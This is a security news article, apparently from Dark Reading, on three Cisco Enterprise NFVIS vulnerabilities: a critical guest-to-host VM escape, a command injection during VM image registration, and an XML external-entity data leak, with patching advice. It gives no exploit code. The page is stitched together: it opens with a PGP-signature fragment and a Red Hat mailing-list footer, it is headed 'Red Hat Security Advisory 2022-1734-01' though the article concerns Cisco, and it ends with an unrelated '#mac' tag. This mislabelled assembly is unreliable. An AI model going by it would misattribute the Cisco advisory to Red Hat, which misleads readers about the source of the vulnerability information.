pffm0GeH7vruU1jbKbGOttteVelUBY6zAQoH0zhNFhYhvjHHUTNPSoofSrpb13Jp  
tBW066vZ2LlnXb9N9/IApI4D6NSTr/A+jWArl5zALcqinHZC6gsnTF7MyW4L4l3R  
PFjfcWlvgH0=wFuW  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-1734-01

The vendor also disclosed two other security vulnerabilities that would allow remote, unauthenticated attackers to inject commands as root and snoop on sensitive user information.

Make plans to patch as soon as possible: A critical security vulnerability in Cisco's Enterprise NFV Infrastructure Software (NFVIS) opens the door to complete takeover of a host.

Cisco's Enterprise NFVIS combines network functions virtualization (NFV) and software-defined networking (SDN) to allow enterprises to provision and manage virtual network services, applications, virtual machines (VMs), and hardware devices. As such, it sits in the middle of organizations' internal networks and offers a perfect pivot point for an attacker to move laterally within an enterprise environment.

The bug (CVE-2022-20777) carries a score of 9.9 out of 10 on the CVSS vulnerability-severity scale, and specifically exists in the Next Generation Input/Output (NGIO) feature of the software. According to Cisco's advisory this week, it stems from insufficient guest restrictions— someone signed onto a guest VM on a host machine is able to escape from that guest VM to gain unauthorized root-level access on the underlying host.

"An attacker could exploit this vulnerability by sending an API call from a VM," according to Cisco's advisory. "A successful exploit could allow the attacker compromise the NFVIS host completely."

The networking giant rolled out a patch for the issue late Tuesday.

JJ Guy, CEO and co-founder of Sevco Security, tells Dark Reading that enterprises need to take this one seriously, given that enterprises rely on guest VMs to separate workloads, enable different levels of permissions for different applications and users, segregate applications that pose more security risk than others, and more.

"VM escape bugs that allow a user with access to the host from the guest are always critical, regardless of the caveats of having to be authenticated," he says, noting that private companies should take the same approach to preventing escapes as the big cloud providers do.

"The entire public cloud infrastructure is based on the virtual machine being a reliable security boundary," he says. "When a public cloud provider sells compute on one physical box to multiple different clients via virtual machines, it must be able to guarantee those clients cannot impact each other. Any failure in that undermines what is fast becoming a critical part of computing."

**Two Unauthenticated Cisco Bugs to Patch Quickly  
**Cisco also addressed two other vulnerabilities in the advisory. The first (CVE-2022-20779, CvSS 8.8) is a high-severity command-injection issue in the image-registration process. A successful exploit would allow an unauthenticated, remote attacker to inject commands that execute at the root level on the NFVIS host.

"This vulnerability is due to improper input validation," according to the advisory. "An attacker could exploit this vulnerability by persuading an administrator on the host machine to install a VM image with crafted metadata that will execute commands with root-level privileges during the VM registration process."

The other bug (CVE-2022-20780, CVSS 7.4) could allow an unauthenticated, remote attacker to leak system data from the host to any configured VM, including files containing sensitive user data. Even worse, an authenticated attacker could obtain access to confidential system information directly.

"This vulnerability is due to the resolution of external entities in the XML parser," according to Cisco. "An attacker could exploit this vulnerability by persuading an administrator to import a crafted file that will read data from the host and write it to any configured VM."

As always, to avoid falling victim to a successful cyberattack, patching quickly is the key, along with enforcing strong password hygiene to prevent attacks requiring authentication and account takeovers. Cisco software is no stranger to active targeting from cybercriminals — to the point where, in February, the US National Security Agency (NSA) issued fresh guidance for organizations on selecting strong passwords for Cisco devices, citing an increase in the number of compromises involving poorly protected network infrastructure.

Tag

#mac